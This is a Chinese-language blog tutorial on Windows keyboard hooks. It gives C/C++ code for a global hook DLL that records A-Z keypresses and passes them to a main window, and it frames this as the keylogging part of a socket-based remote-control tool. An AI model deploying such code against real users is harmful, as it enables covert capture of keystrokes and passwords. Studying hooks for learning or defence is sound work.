键盘钩子

发布时间:2025-12-09 11:46:27 浏览次数:5

HOOK 钩子

HHOOK SetWindowsHookEx(  int idHook,        // hook type  HOOKPROC lpfn,     // hook procedure  HINSTANCE hMod,    // handle to application instance  DWORD dwThreadId   // thread identifier);

键盘钩子

WH_KEYBOARD

钩全局/钩本地

钩子链,谁最后下钩子,谁最先被调用

void CHOOKMFCDlg::OnBnClickedHook(){    // TODO:  在此添加控件通知处理程序代码        g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型        (HOOKPROC)KeyboardProc, //回调函数        NULL,   //表示第三方注入的DLL,全局钩子使用        GetCurrentThreadId()    //线程id,0表示钩所有桌面程序        );    if (g_hhk == NULL)    {        AfxMessageBox(_T("下钩子失败"));        return;    }    //否则就成功}
HHOOK g_hhk;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code,       // hook code    WPARAM wParam,  // virtual-key code    LPARAM lParam   // keystroke-message information    ){    //调试输出工具,输出调试字符串    //写日志    OutputDebugStringA("keyboard pressed!");    //调用下一个钩子    return CallNextHookEx(g_hhk, code, wParam, lParam);}


这里我按一下但是会显示两次,因为键盘按下和弹起是两个动作

全局钩子需要一个DLL(动态链接库),程序依赖库,库提供了某些函数,我们需要编写一个dll,将hook函数放在dll中,然后让操作系统去使用该dll,让其钩住其他进程得键盘消息。
exe(调用钩子函数) + Dll(编写钩子函数)

DLL

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include <stdio.h>//提供钩子回调函数HHOOK g_hhk;HMODULE g_hModule;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code,       // hook code    WPARAM wParam,  // virtual-key code    LPARAM lParam   // keystroke-message information    ){    //调试输出工具,输出调试字符串    //写日志    //OutputDebugStringA("keyboard pressed!");    //虚拟键 我们键盘在我们windows中用一些宏来表示    unsigned int nVKCode = wParam;    //表示按了a-z    char szBuf[256] = { 0 };    if (nVKCode >= 'A' && nVKCode <= 'Z'){        sprintf_s(szBuf, "%c pressed", nVKCode);        OutputDebugStringA(szBuf);    }    //调用下一个钩子    return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll导出函数,提供给其他程序使用BOOL MySetHook(){    g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型        (HOOKPROC)KeyboardProc, //回调函数        g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄        0   //线程id,0表示钩所有桌面程序        );    if (g_hhk == NULL){        return FALSE;    }    return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {        //当dll被加载时调用        //编写初始化操作         g_hModule = hModule;    }        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:    {        //当dll被释放时候调用        //编写反初始化操作    }        break;    }    return TRUE;}

服务端—socket—-客户端
1.cmd功能<---管道----cmd 2.键盘记录<--- ----dll(keyboard hook) 最简单的进程通信:发送消息WM_COPYDATA 这里我们创建一个win32项目 function.h

#pragma once//创建socketint insocket();

function.cpp

#include "stdafx.h"#include "function.h"#include <winSock2.h>#include <windows.h>#pragma comment(lib,"ws2_32.lib")SOCKET s;int insocket(){    //初始化    WORD wVersionRequested;    WSADATA wsaData;    int err;    wVersionRequested = MAKEWORD(2, 2);    err = WSAStartup(wVersionRequested, &wsaData);    if (err != 0) {        return 0;    }    //创建套字节    s = socket(AF_INET, SOCK_STREAM        , 0);    if (INVALID_SOCKET == s)    {        return 0;    }    // 绑定套字节      sockaddr_in soadder;    soadder.sin_family = AF_INET;    soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    soadder.sin_port = htons(10087);    int len = sizeof(sockaddr_in);    return 1;}

创建一个函数insocket()用来创建socket
然后在win32项目写入连接

    int nRte = insocket();    if (nRte == 0)    {        OutputDebugStringA("error");        return 0;    }    //connent    sockaddr_in soadder = { 0 };    soadder.sin_family = AF_INET;    int len = sizeof(sockaddr_in);    soadder.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    soadder.sin_port = htons(10087);    nRte = connect(s, (sockaddr*)&soadder, len);    if (SOCKET_ERROR == nRte)    {        return 0;    }

创建全局句柄用来获取win32句柄给dll使用,因为dll里面获取键盘内容要发送给客户端所以要获取客户端句柄

 g_hWnd = hWnd;    BOOL bRet = MySetHook(g_hWnd);   if (!bRet){       OutputDebugStringA("set hook error");       return 0;   }

然后在回调函数里面进行处理

case WM_COPYDATA:    {        //表示我们dll发送的数据,我们在这里接受并处理        PCOPYDATASTRUCT pcds = (PCOPYDATASTRUCT)lParam;        OutputDebugStringA((LPCSTR)pcds->lpData);    }

然后是dll代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "stdafx.h"#include <stdio.h>//提供钩子回调函数HHOOK g_hhk;HMODULE g_hModule;HWND g_hWnd;//键盘钩子回调函数LRESULT CALLBACK KeyboardProc(int code,       // hook code    WPARAM wParam,  // virtual-key code    LPARAM lParam   // keystroke-message information    ){    //调试输出工具,输出调试字符串    //写日志    //OutputDebugStringA("keyboard pressed!");    //虚拟键 我们键盘在我们windows中用一些宏来表示    unsigned int nVKCode = wParam;    //表示按了a-z    char szBuf[256] = { 0 };    if (nVKCode >= 'A' && nVKCode <= 'Z'){        sprintf_s(szBuf, "%c pressed", nVKCode);        //OutputDebugStringA(szBuf);        //改成向我们主窗口发送我们的键盘消息,WM_DATACOPY消息        COPYDATASTRUCT cds;        cds.dwData = 0;        cds.cbData =strlen(szBuf)+1;    //表示数据的长度        cds.lpData = szBuf; //表示数据        SendMessage(g_hWnd, //向目标窗口发送消息                     WM_COPYDATA,                    (WPARAM)g_hWnd,     //表示当前自己的窗口句柄,可以不写                    (LPARAM)&cds    //构建一个结构体用于将数据传输                    );    }    //调用下一个钩子    return CallNextHookEx(g_hhk, code, wParam, lParam);}//dll导出函数,提供给其他程序使用BOOL MySetHook(HWND hWnd){    g_hWnd = hWnd;    g_hhk = SetWindowsHookEx(WH_KEYBOARD,   //钩子类型        (HOOKPROC)KeyboardProc, //回调函数        g_hModule,  //表示第三方注入的DLL,全局钩子使用,dll的模块句柄        0   //线程id,0表示钩所有桌面程序        );    if (g_hhk == NULL){        return FALSE;    }    return TRUE;}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {        //当dll被加载时调用        //编写初始化操作         g_hModule = hModule;    }        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:    {        //当dll被释放时候调用        //编写反初始化操作    }        break;    }    return TRUE;}
键盘钩子
需要做网站?需要网络推广?欢迎咨询客户经理 13272073477